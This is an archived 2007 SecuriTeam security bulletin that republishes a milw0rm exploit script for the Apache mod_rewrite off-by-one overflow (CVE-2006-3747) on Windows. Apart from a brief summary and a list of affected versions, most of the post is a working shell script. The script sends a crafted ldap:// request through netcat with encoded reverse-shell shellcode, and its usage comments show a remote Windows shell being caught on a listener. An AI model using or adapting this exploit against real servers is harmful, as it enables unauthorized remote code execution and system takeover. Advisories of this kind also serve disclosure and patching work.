

[EXPL] Apache Mod_Rewrite Off-by-one Remote Overflow Exploit (win32)

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2007-04/msg00020.html>

- *From:* SecuriTeam <support@xxxxxxxxxxxxxx>
 - *Date:* 8 Apr 2007 13:41:54 +0200
-

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>
-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.
<http://www.securiteam.com/maillinglist.html>

Apache Mod_Rewrite Off-by-one Remote Overflow Exploit (win32)

SUMMARY

The Rewrite module (mod_rewrite) for Apache HTTP Server could allow a remote attacker to execute arbitrary code on the system, caused by an off-by-one buffer overflow in the escape_absolute_uri() LDAP scheme handling function.

DETAILS

Vulnerable Systems:

- * Apache version 1.3 branch: newer than 1.3.28 and prior to 1.3.37
- * Apache version 2.0 branch: newer than 2.0.46 and prior to 2.0.59
- * Apache version 2.2 branch: newer than 2.2.0 and prior to 2.2.3
- * (Tested on Apache 2.0.58 on Windows2003 CN SP1)

Exploit:

```
#!/bin/sh
# Exploit for Apache mod_rewrite off-by-one(Win32).
#
# by axis <axis@ph4nt0m>
# http://www.ph4nt0m.org
```

[EXPL] Apache Mod_Rewrite Off-by-one Remote Overflow Exploit (win32)

```
# 2007-04-06
#
# Tested on Apache 2.0.58 (Win32)
# Windows2003 CN SP1
#
# Vulnerable Apache Versions:
# * 1.3 branch: >1.3.28 and <1.3.37
# * 2.0 branch: >2.0.46 and <2.0.59
# * 2.2 branch: >2.2.0 and <2.2.3
#
#
# Vulnerability discovered by Mark Dowd.
# CVE-2006-3747
#
# first POC by jack <jack@gulcas.org>
# 2006-08-20
# http://www.milw0rm.com/exploits/2237
#
#
# to successfully exploit the vuln,there are some conditions
# http://www.vuxml.org/freebsd/dc8c08c7-1e7c-11db-88cf-000c6ec775d9.html
#
#
# some compilers added padding to the stack, so they could not be
# exploited,like gcc under redhat
#
#
# no opcodes needed under windows!
# it will directly run our shellcode
#
# my apache config file
# [httpd.conf]:
# RewriteEngine on
# RewriteRule 1/(.*) $1
# RewriteLog "logs/rewrite.log"
# RewriteLogLevel 3
#
#
# Usage:
# [axis@security-lab2 xploits]$ sh mod_rewrite.sh 10.0.76.141
# mod_rewrite apache off-by-one overflow
#
# [axis@opensytemX axis]$ nc -vv -n -l -p 1154
# listening on [any] 1154 ...
# connect to [x.x.x.111] from (UNKNOWN) [10.0.76.141] 4077
# Microsoft Windows [ 5.2.3790]
# (C) ?D 1985-2003 Microsoft Corp.
#
# D:\Apache\Apache2>exit
```

[EXPL] Apache Mod_Rewrite Off-by-one Remote Overflow Exploit (win32)

```
# exit
# sent 5, rcvd 100
#
#
#
# shellcode adchar # } adchar 0x3f 0x0b hellcode
# 0x00 0x3a 0x22 0x3b 0x7d 0x7b 0x3c 0x3e 0x5c 0x5d 0x3f 0x0b
#

echo -e "mod_rewrite apache off-by-one overflow"

if [ $# -ne 1 ] ; then
echo "Usage: $0 webserver"
exit
fi

host=$1

#use ldap:// to trigger the vuln, "Ph4nt0m" is any arbitrary string
echo -ne "GET /1/ldap://ph4nt0m/^perl -e 'print \"Ph4nt0m\"x5\"\\
# %3f to trigger the vuln
%3fA%3fA%3f\\
#string "CCCC.." is any arbitrary string, use %3f to trigger the vuln
##%90 is the machine code we will jmp to(NOP),run shellcode from here
`perl -e 'print "C"x10`%3fC%3f%90\\
# shellcode,reverse shell to 192.168.0.1 ,port 1154 alpha2 encoded
`perl -e 'print "\\
\\xeb\\x03\\x59\\xeb\\x05\\xe8\\xf8\\xff\\xff\\xff\\x49\\x49\\x49\\x49\\x49\\x49\\
\\x49\\x49\\x49\\x49\\x49\\x49\\x49\\x49\\x37\\x49\\x49\\x51\\x5a\\x6a\\x63\\
\\x58\\x30\\x42\\x30\\x50\\x42\\x6b\\x42\\x41\\x73\\x42\\x32\\x42\\x41\\x41\\x32\\
\\x41\\x41\\x30\\x41\\x41\\x58\\x50\\x38\\x42\\x42\\x75\\x69\\x79\\x79\\x6c\\x51\\
\\x7a\\x6a\\x4b\\x50\\x4d\\x4d\\x38\\x6b\\x49\\x79\\x6f\\x49\\x6f\\x6b\\x4f\\x65\\
\\x30\\x4c\\x4b\\x72\\x4c\\x45\\x74\\x51\\x34\\x4e\\x6b\\x71\\x55\\x77\\x4c\\x6c\\
\\x4b\\x33\\x4c\\x64\\x45\\x33\\x48\\x64\\x41\\x5a\\x4f\\x4c\\x4b\\x72\\x6f\\x36\\
\\x78\\x4c\\x4b\\x73\\x6f\\x45\\x70\\x66\\x61\\x4a\\x4b\\x53\\x79\\x4e\\x6b\\x44\\
\\x74\\x4e\\x6b\\x73\\x31\\x38\\x6e\\x55\\x61\\x79\\x50\\x6c\\x59\\x6c\\x6c\\x4b\\
\\x34\\x6f\\x30\\x74\\x34\\x34\\x47\\x59\\x51\\x5a\\x6a\\x76\\x6d\\x76\\x61\\x6f\\
\\x32\\x5a\\x4b\\x79\\x64\\x55\\x6b\\x33\\x64\\x51\\x34\\x41\\x38\\x30\\x75\\x4b\\
\\x55\\x6e\\x6b\\x33\\x6f\\x44\\x64\\x46\\x61\\x7a\\x4b\\x32\\x46\\x6e\\x6b\\x34\\
\\x4c\\x42\\x6b\\x6e\\x6b\\x73\\x6f\\x77\\x6c\\x54\\x41\\x58\\x6b\\x43\\x33\\x74\\
\\x6c\\x6c\\x4b\\x4d\\x59\\x50\\x6c\\x74\\x64\\x75\\x4c\\x52\\x41\\x6f\\x33\\x50\\
\\x31\\x6b\\x6b\\x72\\x44\\x4c\\x4b\\x50\\x43\\x66\\x50\\x6c\\x4b\\x33\\x70\\x64\\
\\x4c\\x6c\\x4b\\x74\\x30\\x65\\x4c\\x4e\\x4d\\x4e\\x6b\\x53\\x70\\x47\\x78\\x33\\
\\x6e\\x51\\x78\\x4c\\x4e\\x52\\x6e\\x56\\x6e\\x58\\x6c\\x50\\x50\\x59\\x6f\\x79\\
\\x46\\x70\\x66\\x62\\x73\\x75\\x36\\x75\\x38\\x66\\x53\\x64\\x72\\x42\\x48\\x53\\
\\x47\\x32\\x53\\x50\\x32\\x71\\x4f\\x71\\x44\\x49\\x6f\\x48\\x50\\x52\\x48\\x5a\\
\\x6b\\x48\\x6d\\x6b\\x4c\\x65\\x6b\\x70\\x50\\x4b\\x4f\\x68\\x56\\x61\\x4f\\x4e\\
\\x69\\x4a\\x45\\x30\\x66\\x6e\\x61\\x78\\x6d\\x67\\x78\\x73\\x32\\x42\\x75\\x52\\
\\x4a\\x75\\x52\\x6b\\x4f\\x7a\\x70\\x61\\x78\\x6b\\x69\\x55\\x59\\x6c\\x35\\x6e\\
```

[EXPL] Apache Mod_Rewrite Off-by-one Remote Overflow Exploit (win32)

```
\x4d\x51\x47\x4b\x4f\x4e\x36\x70\x53\x50\x53\x56\x33\x76\x33\x43\x73\x32\x73\x31\x53\x52\x73\x6b\x4f\x4a\x70\x70\x68\x6f\x30\x6d\x78\x35\x50\x46\x61\x30\x66\x30\x68\x76\x64\x6c\x42\x33\x56\x70\x53\x4e\x69\x78\x61\x4c\x55\x75\x38\x4a\x4c\x58\x79\x4c\x6a\x73\x50\x53\x67\x6b\x4f\x6a\x76\x73\x5a\x72\x30\x73\x61\x53\x65\x4b\x4f\x6a\x70\x52\x46\x31\x7a\x52\x44\x73\x56\x50\x68\x51\x73\x50\x6d\x32\x4a\x62\x70\x51\x49\x47\x59\x6a\x6c\x6c\x49\x4b\x57\x42\x4a\x73\x74\x6d\x59\x6d\x32\x35\x61\x6f\x30\x48\x73\x4f\x5a\x6f\x65\x4c\x49\x39\x6d\x4b\x4e\x33\x72\x54\x6d\x6b\x4e\x33\x72\x34\x6c\x6c\x4d\x50\x7a\x57\x48\x4e\x4b\x4c\x6b\x6c\x6b\x71\x78\x32\x52\x6b\x4e\x6c\x73\x42\x36\x49\x6f\x73\x45\x65\x78\x6b\x4f\x6e\x36\x71\x4b\x42\x77\x43\x62\x53\x61\x76\x31\x70\x51\x30\x6a\x35\x51\x62\x71\x76\x31\x72\x75\x43\x61\x4b\x4f\x6e\x30\x73\x58\x4e\x4d\x7a\x79\x37\x75\x38\x4e\x31\x43\x4b\x4f\x4a\x76\x30\x6a\x39\x6f\x6b\x4f\x70\x37\x6b\x4f\x6e\x30\x45\x38\x39\x77\x54\x39\x79\x56\x71\x69\x79\x6f\x53\x45\x56\x64\x69\x6f\x69\x46\x6b\x4f\x62\x57\x6b\x4c\x4b\x4f\x6a\x70\x50\x68\x6a\x50\x6f\x7a\x37\x74\x43\x6f\x72\x73\x4b\x4f\x6a\x76\x79\x6f\x38\x50\x63\n""\nHTTP/1.0\r\nHost: $host\r\n\r\n" | nc -vv $host 80
```

ADDITIONAL INFORMATION

The information has been provided by milw0rm.
The original article can be found at:
<<http://www.milw0rm.com/exploits/3680>>
<http://www.milw0rm.com/exploits/3680>

=====

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@xxxxxxxxxxxxxxxxx
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxxxxx

=====
=====

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.